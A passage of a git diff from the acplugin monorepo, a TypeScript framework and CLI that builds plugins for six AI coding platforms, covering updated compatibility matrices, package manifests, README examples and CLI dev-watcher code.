compatibility; they cannot replace a Platform or write `dist` directly. + +Official contracts were last rechecked on 2026-08-06 against [Claude Code Hooks](https://code.claude.com/docs/en/hooks), [Codex Hooks](https://learn.chatgpt.com/docs/hooks), the [Cursor Plugin Schema](https://github.com/cursor/plugins/blob/main/schemas/plugin.schema.json), [Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli), [OpenCode Plugins](https://opencode.ai/docs/plugins/), [OpenCode MCP](https://opencode.ai/docs/mcp-servers/), and [Pi Packages](https://pi.dev/docs/latest/packages). diff --git a/llmdoc/reference/conversion-matrix.zh-CN.md b/llmdoc/reference/conversion-matrix.zh-CN.md index ba5eccd..2c7f259 100644 --- a/llmdoc/reference/conversion-matrix.zh-CN.md +++ b/llmdoc/reference/conversion-matrix.zh-CN.md @@ -1,36 +1,65 @@ -# 目标支持矩阵 +# Platform 支持矩阵 > [English version](conversion-matrix.md) -本矩阵描述规范 acplugin 1.0 构建。保留在 `packages/acplugin/src/migration/legacy/` 下的容错 Converter 只是 Migration 实现细节,不代表额外构建目标。 +本矩阵描述规范 acplugin 1.0 构建。`packages/acplugin/src/migration/legacy/` 下的容错转换代码只属于 Migration,不是另一条构建路径。 -| 能力 | Claude Code | Codex | -| --- | --- | --- | -| Skills | 原生 | 原生 | -| Commands | 原生 | 显式 `command-` 回退 Skill | -| Agents | 原生 | 显式 `agent-`、仅保留模型指导的回退 Skill | -| Public 文件 | 复制到目标根目录 | 复制到目标根目录 | -| Hooks Module | 原生支持事件 | 原生可移植事件 | -| 远程 HTTP MCP | 原生声明 | 原生声明 | -| 本地 stdio MCP | Node 20 ESM Bundle | Node 20 ESM Bundle | +## 交付形态与 Component -Codex 通过语义转换支持 Command。Agent 会降级,因为可安装 Codex Plugin 无法注册项目级或用户级自定义 Agent。因此,在默认严格设置下,包含 Agent 的 Codex 目标会失败;`--no-strict` 表示明确接受生成的回退和结构化兼容性警告。 +| 能力 | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| 交付单元 | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | 可安装 Plugin | Workspace Overlay | npm Package | +| Skill | 原生 | 原生 | 原生 | 原生 | 原生 | 原生 | +| Command | 原生 Command | 转换为显式 `command-` Skill | 原生 Command | 转换为显式 `command-` Skill | 原生 Workspace Command | 转换为 Prompt Template | +| Agent | 原生 Agent | 降级为 `agent-` 指导 Skill | 原生 Subagent;部分模型/能力字段降级 | 降级为 `agent-` 指导 Skill | 原生 Subagent;能力转换为 tools/permissions | 降级为 `agent-` 指导 Skill | +| Public 文件 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Plugin 根 | 复制到 Workspace 根 | 复制到 Package 根 | +| 独立 Marketplace 分发 | 可选 | 可选 | 不生成 | 不生成 | 不适用 | 不适用 | -Hooks 和 MCP 不是 Core Component。只有配置 `@tokenroll/acplugin-module-hooks` 或 `@tokenroll/acplugin-module-mcp` 后,它们才会加入同一构建生命周期。如果 `src/hooks` 或 `src/mcp` 中存在源码但未启用对应 Module,则构建会报错。 +`原生` 表示 Platform 有等价的可安装资源;`转换` 表示生成另一种原生资源并保留工作流意图;`降级` 表示关键运行时保证无法完整保留。严格模式会拒绝 degraded/unsupported;只有在审阅结构化兼容性报告后,才应使用 `--no-strict`。 + +OpenCode 明确是 Workspace Overlay,不会收到伪造的通用 `package.json`。Pi 是真实 npm Package,其 Manifest 不得泄漏 workspace/private 字段。Antigravity 只输出公开契约已经确认的 Manifest 字段。 + +## Hooks Extension + +| 可移植事件 | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| `SessionStart` | 原生 | 原生 | 转换 | 原生 | 原生 | 原生 | +| `SessionEnd` | 原生 | 原生 | 转换 | 原生 | 降级 | 原生 | +| `UserPromptSubmit` | 原生 | 原生 | 转换 | 不支持 | 原生 | 原生 | +| `PreToolUse` | 原生 | 原生 | 转换 | 原生 | 原生 | 原生 | +| `PermissionRequest` | 原生 | 原生 | 不支持 | 不支持 | 不支持 | 不支持 | +| `PostToolUse` | 原生 | 原生 | 转换 | 原生 | 原生 | 原生 | +| `PreCompact` | 原生 | 原生 | 转换 | 原生 | 不支持 | 原生 | +| `PostCompact` | 原生 | 原生 | 不支持 | 不支持 | 原生 | 原生 | +| `SubagentStart` | 原生 | 原生 | 转换 | 不支持 | 不支持 | 不支持 | +| `SubagentStop` | 原生 | 原生 | 转换 | 不支持 | 不支持 | 不支持 | +| `Stop` | 原生 | 原生 | 转换 | 不支持 | 降级 | 降级 | + +Platform-only 事件保持显式平台限定,不会扩充可移植事件联合。即使事件受支持,当宿主忽略 meaningful matcher 或没有稳定状态消息字段时,仍会产生字段级降级。空 Hooks 不会生成运行时或 Manifest 产物。 + +## MCP Extension + +| 传输 | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| 远程 Streamable HTTP | 原生 | 原生 | 原生 | 原生 | 原生 | 不支持 | +| Bundle 后的本地 stdio | 原生 | 原生 | 不支持 | 不支持 | 原生本地进程 | 不支持 | + +远程 MCP 是声明式内容:作者提供 Endpoint 和秘密引用。本地 stdio MCP 是可执行内容:作者提供完整 `server.ts`,Extension 只 Bundle 一次 Node 20 ESM,并只复用到具有已验证安装根契约的 Platform。任何 Adapter 都不会在构建时读取环境变量秘密值。 ## 源码与输出所有权 | 关注点 | 事实来源 | | --- | --- | -| Config、Components、Modules、Artifacts | `packages/core/src/types.ts` | +| Config、Components、生命周期契约、Artifacts | `packages/core/src/types.ts`、`contracts.ts` | | 发现与依赖图 | `packages/core/src/scanner.ts` | -| 生命周期与目标分发 | `packages/core/src/builder.ts` | +| 生命周期与 Platform 分发 | `packages/core/src/lifecycle.ts` | | 事务化输出 | `packages/core/src/transaction.ts` | -| Claude 输出 Schema | `packages/compiler-claude-code/src/index.ts` | -| Codex 输出 Schema 与回退 | `packages/compiler-codex/src/index.ts` | -| Hooks 发现与运行时 Bundle | `packages/module-hooks/src/index.ts` | -| MCP 声明与运行时 Bundle | `packages/module-mcp/src/index.ts` | +| Platform 输出契约 | `packages/platforms//src/` | +| Hooks 发现、Bundle 与 Platform Adapter | `packages/extensions/hooks/src/` | +| MCP 发现、Bundle 与 Platform Adapter | `packages/extensions/mcp/src/` | | 公开门面与配置加载 | `packages/acplugin/src/index.ts` | -| CLI 与 Migration 边界 | `packages/acplugin/src/cli.ts` | +| CLI 与隔离 Migration 边界 | `packages/acplugin/src/cli.ts`、`migration/` | + +Platform 拥有输出路径、Document、Manifest、Schema、Validator 和交付单元类型。Extension Adapter 可以增加自有 Artifact、修改声明为 add-only 的 Document 扩展点并报告兼容性,但不能替换 Platform,也不能直接写入 `dist`。 -Compiler 拥有目标路径和 Manifest。Module 可以贡献 Artifact、由其唯一拥有的顶层 Manifest 字段和兼容性条目,但不能替换 Compiler,也不能直接写入 `dist`。 +官方契约最后核验于 2026-08-06,来源包括 [Claude Code Hooks](https://code.claude.com/docs/en/hooks)、[Codex Hooks](https://learn.chatgpt.com/docs/hooks)、[Cursor Plugin Schema](https://github.com/cursor/plugins/blob/main/schemas/plugin.schema.json)、[Antigravity Plugins](https://antigravity.google/docs/plugins?app=cli)、[OpenCode Plugins](https://opencode.ai/docs/plugins/)、[OpenCode MCP](https://opencode.ai/docs/mcp-servers/) 和 [Pi Packages](https://pi.dev/docs/latest/packages)。 diff --git a/llmdoc/startup.md b/llmdoc/startup.md index 236af27..2fe9960 100644 --- a/llmdoc/startup.md +++ b/llmdoc/startup.md @@ -5,10 +5,10 @@ Read [Project overview](overview/project.md) and [System architecture](architect Keep these invariants: - pnpm monorepo without Turbo; Node.js >=20; ESM-only. -- Only `@tokenroll/acplugin` and the official Hooks/MCP Modules are public. -- Core owns one lifecycle and transaction; Modules extend it, Compilers own target output. +- Only `@tokenroll/acplugin` and the official Hooks/MCP Extensions are public. +- Core owns one lifecycle and transaction; Extensions join through restricted Adapters, while Platforms own output schemas and distributions. - Commands, Skills, and Agents are Core Components. Instructions are out of scope. -- Claude Code and Codex are the default targets. +- Claude Code and Codex are the default Platforms; Cursor, Antigravity, OpenCode, and Pi are explicit opt-ins. - Migration stays lazy and isolated under `packages/acplugin/src/migration/`; legacy code is not normal runtime architecture. - Preserve deterministic, strict, whole-output builds and never expose private `@acplugin/*` runtime dependencies. diff --git a/llmdoc/state/sync.md b/llmdoc/state/sync.md index 647333c..ac0fa67 100644 --- a/llmdoc/state/sync.md +++ b/llmdoc/state/sync.md @@ -1,6 +1,20 @@ # llmdoc sync state -- Baseline commit: `9320905211728816fc6d068b32e481c725a58ab2` +- Baseline commit: `d254e8ad7fe444f5230bc3d1ab4140cf72a83890` - Mode: `full` -- Updated for: acplugin 1.0 pnpm monorepo, shared-only dependency catalog, TypeScript 7 package compilation, canonical framework/CLI, official Modules, isolated Migration, PR checks, manual Changeset version PRs, and fully manual fixed-cohort publication. -- Review: Standards and Spec code-review axes passed after security, transaction, schema, Hook-result, and diagnostic hardening. +- Workflow: `grill-with-docs → to-spec → to-tickets → implement → code-review` completed through ACPL-001~ACPL-023; no commit, Tag, Release, registry mutation, or publication was performed. +- Architecture: pnpm-only monorepo; public `@tokenroll/acplugin` plus fixed-version Hooks/MCP Extensions; private Core, six private Platform implementations, and private Vitest workspace; ESM-only on Node.js 20 or newer. +- TypeScript: all 11 source Packages execute TypeScript `7.0.2` through cataloged `@typescript/native`; the root installs official `@typescript/typescript6` as `typescript` only for tools that still require the legacy JavaScript Compiler API. +- Migration: isolated legacy code validates generated projects through public `runProject()`, reports every discovered field as mapped/degraded/unmapped, accepts complete SemVer including build metadata, validates URL/email/SPDX/keywords, retains MCP-only Marketplace entries, and uses the official MCP public contract for safe remote declarations. +- MCP packaging: the official Extension publishes a lightweight `index.mjs` and a lazy local-stdio `bundler.mjs`; the main package has no optional Extension/Rolldown runtime dependency. Release verification includes a main-package-only remote MCP Migration consumer. +- Dev: Extension module graphs participate in watch mode; initial/dynamic ready windows receive catch-up builds; split editor writes are stabilized before queue-level debounce; signal cleanup exits with code 130. +- Review: Standards Hard 0, with one non-blocking Hooks platform-profile consolidation suggestion. Spec final rereview passed after the Migration field-fidelity remediation; no blocking findings remain. +- Validation: `pnpm install --frozen-lockfile`; 11 × TypeScript `7.0.2`; lint and Chinese comment guard across 131 files; 14 integration files / 60 integration tests and 174 tests overall; build/ATTW/publint; three 1.0.0 tarballs in clean consumers; main-only packed Migration; Changesets status; staged/unstaged diff checks. + +```text +pnpm run check +pnpm run release:verify +pnpm changeset status +git diff --check +git diff --cached --check +``` diff --git a/package.json b/package.json index f88e0bb..376cb8e 100644 --- a/package.json +++ b/package.json @@ -10,7 +10,8 @@ "scripts": { "build": "pnpm -r --if-present run build", "dev": "pnpm --filter @tokenroll/acplugin run dev", - "test": "pnpm -r --if-present run test", + "pretest": "pnpm run build", + "test": "pnpm --config.enable-pre-post-scripts=false -r --if-present run test", "test:watch": "pnpm --filter @acplugin/test run test:watch", "changeset": "changeset", "version-packages": "changeset version", @@ -30,13 +31,15 @@ "@changesets/cli": "^2.31.1", "@eslint/js": "^10.0.1", "@stylistic/eslint-plugin": "^5.10.0", + "@tokenroll/acplugin-extension-mcp": "workspace:^", + "@typescript/native": "catalog:", "@types/node": "catalog:", "eslint": "^10.8.0", "husky": "^9.1.7", "lint-staged": "^17.2.0", "publint": "^0.3.23", "tsdown": "catalog:", - "typescript": "^6.0.3", + "typescript": "npm:@typescript/typescript6@^6.0.2", "typescript-eslint": "^8.66.0", "vitest": "catalog:" } diff --git a/packages/acplugin/README.md b/packages/acplugin/README.md index cf12612..298fdcb 100644 --- a/packages/acplugin/README.md +++ b/packages/acplugin/README.md @@ -1,6 +1,6 @@ # @tokenroll/acplugin -Canonical AI plugin framework and CLI for building installable Claude Code and Codex plugins from one source project. +Canonical AI plugin framework and CLI for building Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi deliveries from one source project. ```bash pnpm add -D @tokenroll/acplugin @@ -26,7 +26,56 @@ public/ acplugin.config.ts ``` -The default build targets are `claude-code` and `codex`. Commands and Agents are adapted explicitly when the target has no equivalent native plugin component. +The default Platforms are `claude-code` and `codex`. Commands and Agents are adapted explicitly when a Platform has no equivalent native component. Select all six during scaffolding with: + +```bash +pnpm exec acplugin init my-plugin --yes \ + --platform claude-code codex cursor antigravity opencode pi +``` + +Or configure exported factories directly: + +```ts +import { antigravity, claudeCode, codex, cursor, defineConfig, openCode, pi } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()], + build: { strict: false }, +}); +``` + +Claude Code, Codex, Cursor, and Antigravity produce Plugin delivery units. OpenCode produces a workspace overlay; Pi produces an npm package. The compatibility report records native, transformed, degraded, and unsupported behavior before any managed output is committed. + +Claude Code can be configured as an explicit Platform. Omitting `marketplace` builds only the installable Plugin; `marketplace: {}` additionally creates a self-contained single-Plugin Marketplace from the top-level metadata. + +Claude Code 可以作为显式 Platform 配置。省略 `marketplace` 时只构建可安装 Plugin;配置 `marketplace: {}` 时,会从顶层元数据推导并额外生成一个自包含的单 Plugin Marketplace。 + +```ts +import { claudeCode, defineConfig } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + author: { name: 'TokenRoll', email: 'maintainers@example.com' }, + platforms: [ + claudeCode({ + marketplace: { + owner: { name: 'TokenRoll' }, + category: 'Developer Tools', + tags: ['workflow'], + }, + }), + ], +}); +``` + +The Claude Code output uses `.claude-plugin/plugin.json`, `commands/`, `skills/`, and `agents/`. Hooks and MCP remain independent Extensions: the Platform only exposes validated `hooks` and `mcpServers` manifest extension points and never imports those Extension packages. + +Claude Code 产物使用 `.claude-plugin/plugin.json`、`commands/`、`skills/` 与 `agents/`。Hooks 和 MCP 仍是独立 Extension:Platform 只提供经过校验的 `hooks` 与 `mcpServers` 清单扩展点,不依赖对应 Extension 包。 ```bash pnpm exec acplugin validate @@ -34,10 +83,10 @@ pnpm exec acplugin inspect pnpm exec acplugin build ``` -Hooks and MCP are optional official Modules: +Hooks and MCP are optional official Extensions(Hooks 与 MCP 通过可选的官方 Extension 启用). Their Platform Adapters are included in the Extension packages, while each Platform remains independent of them: ```bash -pnpm add -D @tokenroll/acplugin-module-hooks @tokenroll/acplugin-module-mcp +pnpm add -D @tokenroll/acplugin-extension-hooks @tokenroll/acplugin-extension-mcp ``` See the [repository documentation](https://github.com/TokenRollAI/acplugin#readme) for the complete authoring schema, compatibility rules, Migration workflow, and security model. diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index 1332d7b..382e97b 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin", "version": "1.0.0", - "description": "Build canonical AI plugins for Claude Code and Codex.", + "description": "Build canonical AI plugins and integrations for six AI platforms.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#readme", @@ -10,12 +10,21 @@ "sideEffects": false, "engines": { "node": ">=20" }, "bin": { "acplugin": "./dist/cli.mjs" }, - "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "exports": { + ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" }, + "./platforms/claude-code": { "types": "./dist/platforms/claude-code.d.mts", "import": "./dist/platforms/claude-code.mjs" }, + "./platforms/codex": { "types": "./dist/platforms/codex.d.mts", "import": "./dist/platforms/codex.mjs" }, + "./platforms/cursor": { "types": "./dist/platforms/cursor.d.mts", "import": "./dist/platforms/cursor.mjs" }, + "./platforms/antigravity": { "types": "./dist/platforms/antigravity.d.mts", "import": "./dist/platforms/antigravity.mjs" }, + "./platforms/opencode": { "types": "./dist/platforms/opencode.d.mts", "import": "./dist/platforms/opencode.mjs" }, + "./platforms/pi": { "types": "./dist/platforms/pi.d.mts", "import": "./dist/platforms/pi.mjs" } + }, "files": ["dist", "README.md", "LICENSE"], "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "dev": "tsdown --watch", + "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter '@acplugin/platform-*' run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, @@ -28,15 +37,23 @@ "gray-matter": "^4.0.3", "glob": "^13.0.6", "jiti": "^2.7.0", - "ora": "^5.4.1" + "ora": "^5.4.1", + "semver": "^7.8.5", + "spdx-expression-parse": "^5.0.0" }, "devDependencies": { - "@acplugin/compiler-claude-code": "workspace:*", - "@acplugin/compiler-codex": "workspace:*", "@acplugin/core": "workspace:*", + "@acplugin/platform-antigravity": "workspace:*", + "@acplugin/platform-claude-code": "workspace:*", + "@acplugin/platform-codex": "workspace:*", + "@acplugin/platform-cursor": "workspace:*", + "@acplugin/platform-opencode": "workspace:*", + "@acplugin/platform-pi": "workspace:*", "@types/node": "catalog:", + "@types/semver": "^7.7.1", + "@types/spdx-expression-parse": "^4.0.0", "tsdown": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/acplugin/src/cli.ts b/packages/acplugin/src/cli.ts index b9b1212..991a451 100644 --- a/packages/acplugin/src/cli.ts +++ b/packages/acplugin/src/cli.ts @@ -9,28 +9,31 @@ import { initializeProject, ProjectConfigError, runProject, + serializeBuildResult, type BuildMode, - type BuildReport, + type BuildResult, type Diagnostic, - type TargetId, + type InitPlatformId, + type PlatformId, } from './index.js'; +import { executeProject, type ProjectExecution } from './run-project.js'; /** validate、inspect、build 和 dev 命令共享的 CLI 选项。 */ interface ProjectCliOptions { /** 可选的 TypeScript 配置文件覆盖路径。 */ config?: string; - /** 可选的目标平台集合覆盖。 */ - target?: string[]; + /** 可选的已配置 Platform 子集。 */ + platform?: string[]; /** 传递给配置函数的开发或生产模式。 */ mode: BuildMode; - /** 是否把能力降级和不支持视为错误。 */ - strict: boolean; + /** 是否覆盖配置中的兼容性严格度;未传参数时保持 undefined。 */ + strict?: boolean; /** 是否只在 stdout 输出一个稳定 JSON 对象。 */ json?: boolean; } /** - * 为项目 Pipeline 子命令注册一致的配置、目标、模式和报告选项。 + * 为项目 Pipeline 子命令注册一致的配置、Platform、模式和报告选项。 * * @param command 待扩展的 Commander 子命令。 * @param defaultMode 该子命令使用的默认配置模式。 @@ -39,9 +42,10 @@ interface ProjectCliOptions { function addProjectOptions(command: Command, defaultMode: BuildMode): Command { return command .option('-c, --config ', 'Use another TypeScript config file') - .addOption(new Option('-t, --target ', 'Replace the configured target set').choices(['claude-code', 'codex'])) + .addOption(new Option('--platform ', 'Select a subset of configured Platforms')) .addOption(new Option('--mode ', 'Config mode').choices(['development', 'production']).default(defaultMode)) - .option('--no-strict', 'Allow degraded or unsupported target compatibility') + .option('--strict', 'Reject degraded or unsupported Platform compatibility') + .option('--no-strict', 'Allow degraded or unsupported Platform compatibility') .option('--json', 'Emit one stable JSON report on stdout'); } @@ -53,23 +57,46 @@ function addProjectOptions(command: Command, defaultMode: BuildMode): Command { * @param report Core Pipeline 产生的构建报告。 * @param json 是否启用稳定 JSON 输出。 */ -function writeReport(report: BuildReport, json: boolean | undefined): void { +function writeReport(report: BuildResult, json: boolean | undefined): void { if (json) { - process.stdout.write(`${JSON.stringify(report, null, 2)}\n`); + process.stdout.write(serializeBuildResult(report)); return; } /** 普通文本摘要使用的稳定状态词。 */ const status = report.success ? 'success' : 'failed'; - process.stdout.write(`${report.command}: ${status} (${report.targets.join(', ')})\n`); + process.stdout.write(`${report.command}: ${status} (${report.platforms.join(', ')})\n`); + if (report.command === 'inspect') { + /** component 表示 Scanner 发现且不暴露来源路径的规范资源。 */ + for (const component of report.components) + process.stdout.write(`component ${component.kind}/${component.id}\n`); + /** extension 表示配置中的 Extension 与本次资源发现状态。 */ + for (const extension of report.extensions) + process.stdout.write(`extension ${extension.name} api:${extension.apiVersion} resources:${extension.hasResources}\n`); + /** platform 表示配置中的 Platform 交付形态与最终严格度。 */ + for (const platform of report.platformDetails) + process.stdout.write(`platform ${platform.id} api:${platform.apiVersion} delivery:${platform.deliveryType} strict:${platform.strict}\n`); + /** document 表示 Adapter 应用完成后的结构化 Platform Document。 */ + for (const document of report.documents) + process.stdout.write(`document ${document.platform}/${document.id} ${document.format} ${document.path} ${document.owner}\n`); + for (const unit of report.deliveryUnits) { + process.stdout.write(`unit ${unit.platform}/${unit.id} ${unit.role}:${unit.type}\n`); + for (const artifact of unit.artifacts) + process.stdout.write(` artifact ${artifact.path} ${artifact.owner} ${artifact.mode.toString(8)} ${artifact.size} ${artifact.sha256}\n`); + } + for (const entry of report.compatibility) + process.stdout.write(`compatibility ${entry.platform} ${entry.subject} ${entry.level}: ${entry.reason}\n`); + for (const entry of report.metadata) + process.stdout.write(`metadata ${entry.platform} ${entry.field} ${entry.disposition}: ${entry.reason}\n`); + } for (const diagnostic of report.diagnostics) process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); for (const entry of report.compatibility) { if (entry.level === 'degraded' || entry.level === 'unsupported') - process.stderr.write(`warning ${entry.target} ${entry.subject}: ${entry.reason}\n`); + process.stderr.write(`warning ${entry.platform} ${entry.subject}: ${entry.reason}\n`); } } -/** 在 Pipeline 尚未产生 BuildReport 时使用的最小 CLI 失败报告。 */ +/** 在 Pipeline 尚未产生 BuildResult 时使用的最小 CLI 失败报告。 */ interface CliFailureReport { /** CLI 失败报告协议版本。 */ schemaVersion: '1'; @@ -121,6 +148,18 @@ function writeFailure(command: string, error: unknown, json: boolean | undefined process.stderr.write(`${diagnostic.severity} ${diagnostic.code}: ${diagnostic.message}\n`); } +/** + * 根据最终结构化诊断区分项目失败与框架内部失败。 + * + * @param result 固定生命周期产生的完整报告。 + * @returns 成功为 0、项目失败为 1、Core 内部失败为 2。 + */ +function exitCodeFor(result: BuildResult): 0 | 1 | 2 { + if (result.success) + return 0; + return result.diagnostics.some(diagnostic => diagnostic.phase === 'internal' || diagnostic.code === 'LIFECYCLE_INTERNAL_FAILED') ? 2 : 1; +} + /** * 运行一次 validate、inspect 或 build,并按失败类型设置进程退出码。 * @@ -129,20 +168,19 @@ function writeFailure(command: string, error: unknown, json: boolean | undefined */ async function runPipeline(commandName: 'validate' | 'inspect' | 'build', options: ProjectCliOptions): Promise { try { - /** 官方 Compiler Pipeline 的执行结果。 */ + /** 固定 Platform/Extension Pipeline 的执行结果。 */ const result = await runProject({ command: commandName, mode: options.mode, ...(options.config === undefined ? {} : { configPath: options.config }), - ...(options.target === undefined ? {} : { targets: options.target as TargetId[] }), - strict: options.strict, + ...(options.platform === undefined ? {} : { platforms: options.platform as PlatformId[] }), + ...(options.strict === undefined ? {} : { strict: options.strict }), commit: commandName === 'build', }); - writeReport(result.report, options.json); - if (!result.report.success) { - process.exitCode = result.report.diagnostics.some(diagnostic => diagnostic.code === 'BUILD_INTERNAL_FAILED') ? 2 : 1; - } - } catch (error) { + writeReport(result, options.json); + process.exitCode = exitCodeFor(result); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + /** 配置类错误属于用户输入问题,其余未预期异常使用内部错误退出码。 */ const internal = !(error instanceof ProjectConfigError); writeFailure(commandName, error, options.json, internal); process.exitCode = internal ? 2 : 1; @@ -157,86 +195,348 @@ async function runPipeline(commandName: 'validate' | 'inspect' | 'build', option * @param options Commander 解析后的共享项目选项。 */ async function runDev(options: ProjectCliOptions): Promise { - /** 当前是否已有构建正在执行。 */ - let running = false; /** 当前构建期间是否至少收到过一次新的文件变化。 */ let pending = false; + /** 当前唯一在途的串行重建队列,signal 清理必须等待它收敛。 */ + let activeRebuild: Promise | undefined; + /** 首次构建后正在等待 ready 的初始 watcher setup。 */ + let activeWatcherSetup: Promise | undefined; + /** 收到首个终止信号后阻止重复 JSON、重建和 watcher 清理。 */ + let stopping = false; + /** 唤醒正在等待动态 watcher ready 的重建任务。 */ + let notifyStopRequested: (() => void) | undefined; + /** signal 到达后只完成一次的取消通知。 */ + const stopRequested = new Promise((resolve) => { + notifyStopRequested = resolve; + }); + /** 完成 signal 清理后唤醒 runDev 主流程。 */ + let resolveStopped: (() => void) | undefined; + /** 正常 dev 生命周期只在收到 signal 并完成资源清理后结束。 */ + const stopped = new Promise((resolve) => { + resolveStopped = resolve; + }); + /** JSON 模式退出时唯一写入 stdout 的最近一次报告。 */ + let finalJsonReport: BuildResult | CliFailureReport | undefined; + /** 当前已加入 Chokidar 的配置、工程根与 descriptor 路径。 */ + const watchPaths = new Set(); + /** 已解析 Extension 依赖可递归穿过 node_modules 过滤的真实 Package 根。 */ + const dependencyRoots = new Set(); + /** 用于判断 dist、Git 与依赖忽略边界的全部工程根。 */ + const projectRoots = new Set(); + /** 必须排除以防构建产物再次触发 dev 的全部托管输出目录。 */ + const outputRoots = new Set(); + /** 初始路径与后续新增路径分别使用的监听器,退出时统一关闭。 */ + const watchers = new Set>(); + /** 至少一个监听器完成首次扫描后才允许向调用方发布构建结果。 */ + let watcherReady = false; + /** 合并短时间文件事件使用的定时器。 */ + let debounce: NodeJS.Timeout | undefined; + /** dev 模式实际使用的配置绝对路径。 */ + const configPath = path.resolve(options.config ?? 'acplugin.config.ts'); + watchPaths.add(configPath); + /** - * 串行执行一次 dev 构建,必要时在完成后消费合并的待处理变化。 + * 判断候选路径是否等于指定根或位于根目录内部。 + * + * @param root 已规范化的绝对根目录。 + * @param candidate Chokidar 提供的候选绝对路径。 + * @returns 候选位于根边界内时返回 true。 */ - const rebuild = async (): Promise => { - if (running) { - pending = true; + const isInside = (root: string, candidate: string): boolean => { + /** 从根目录指向候选的相对路径。 */ + const relative = path.relative(root, candidate); + return relative === '' || (!relative.startsWith(`..${path.sep}`) && relative !== '..' && !path.isAbsolute(relative)); + }; + + /** + * 判断候选是否是显式监听文件本身或其必要祖先目录。 + * + * @param candidate Chokidar 正在遍历的绝对路径。 + * @returns 显式文件需要经过该路径时返回 true。 + */ + const isExplicitWatchBoundary = (candidate: string): boolean => [...watchPaths].some(watched => + watched === candidate || watched.startsWith(`${candidate}${path.sep}`)) + || [...dependencyRoots].some(root => isInside(root, candidate) || root.startsWith(`${candidate}${path.sep}`)); + + /** + * 排除托管输出、Git、无关 node_modules 与事务临时目录。 + * + * 显式 descriptor 及其祖先优先放行,因此位于 node_modules 的已解析 Extension 文件仍可监听。 + * + * @param candidate Chokidar 正在判断的文件或目录。 + * @returns 当前路径不应产生监听事件时返回 true。 + */ + const ignored = (candidate: string): boolean => { + /** Chokidar 可能提供的相对路径统一转换为绝对路径。 */ + const absolute = path.resolve(candidate); + // 托管输出和事务目录必须优先于显式依赖根排除,防止本地 descriptor 放行构建产物。 + if ([...outputRoots].some(root => isInside(root, absolute))) + return true; + /** 用于匹配系统 workDir 与 `..acplugin-*` 同级事务项的 POSIX 路径。 */ + const posixAbsolute = absolute.split(path.sep).join('/'); + if (/(^|\/)(?:acplugin-work(?:-|\/|$)|\.[^/]+\.acplugin(?:\.lock|-backup|-transaction\.json|-stage-[^/]+)(?:\/|$))/.test(posixAbsolute)) + return true; + /** root 表示当前用于优先排除 Git 元数据的配置根。 */ + for (const root of projectRoots) { + /** 候选路径相对于当前工程根的 POSIX 表示。 */ + const relative = path.relative(root, absolute).split(path.sep).join('/'); + if (relative === '.git' || relative.startsWith('.git/')) + return true; + } + if (isExplicitWatchBoundary(absolute)) + return false; + /** root 表示当前用于解释标准工程目录名称的配置根。 */ + for (const root of projectRoots) { + /** 候选路径相对于当前工程根的 POSIX 表示。 */ + const relative = path.relative(root, absolute).split(path.sep).join('/'); + if (relative === 'node_modules' || relative.startsWith('node_modules/')) + return true; + } + return false; + }; + + /** + * 登记成功执行发现的工程、输出与 descriptor 路径。 + * + * @param execution 最近一次固定 Pipeline 的内部执行快照。 + * @returns 本次首次发现且需要建立就绪监听器的路径。 + */ + const registerWatchPaths = (execution: ProjectExecution): readonly string[] => { + projectRoots.add(execution.projectRoot); + outputRoots.add(execution.outDir); + /** root 表示当前允许递归监听的 Extension 依赖包根。 */ + for (const root of execution.dependencyRoots) + dependencyRoots.add(root); + /** 本次执行首次发现且需要增量加入 Chokidar 的路径。 */ + const added = execution.watchPaths.filter(candidate => !watchPaths.has(candidate)); + /** candidate 表示当前登记到稳定监听集合的绝对路径。 */ + for (const candidate of added) + watchPaths.add(candidate); + return added; + }; + + /** + * 把一次或多次底层文件事件防抖合并为下一次串行重建。 + */ + function scheduleRebuild(): void { + if (stopping) return; + if (debounce) + clearTimeout(debounce); + debounce = setTimeout(() => { + debounce = undefined; + void rebuild(); + }, 50); + } + + /** + * 为一批静态路径建立独立监听器,并等待该批路径完成首次扫描。 + * + * Chokidar 的 `add()` 不提供可等待的新增路径 ready 语义,因此动态路径不能复用旧监听器。 + * + * @param paths 本批首次发现的配置、工程或 Extension 依赖路径。 + * @returns 路径完成 ready 时返回 true,收到 stop 通知时返回 false。 + */ + async function createReadyWatcher(paths: readonly string[]): Promise { + /** 当前批次独占的 Chokidar 监听器。 */ + const watcher = watch([...paths], { + ignoreInitial: true, + ignored, + // FSEvents 可能把一次 truncate/write 拆成间隔较长的多个 change;先等待文件稳定, + // 再交给队列级防抖,避免同一次作者保存跨过构建边界而产生额外重建。 + awaitWriteFinish: { stabilityThreshold: 100, pollInterval: 20 }, + }); + watchers.add(watcher); + watcher.on('all', scheduleRebuild); + try { + /** readyResult 区分正常完成首次扫描与 signal 主动取消。 */ + const readyResult = await Promise.race([ + new Promise((resolve, reject) => { + watcher.once('ready', () => resolve(true)); + watcher.once('error', reject); + }), + 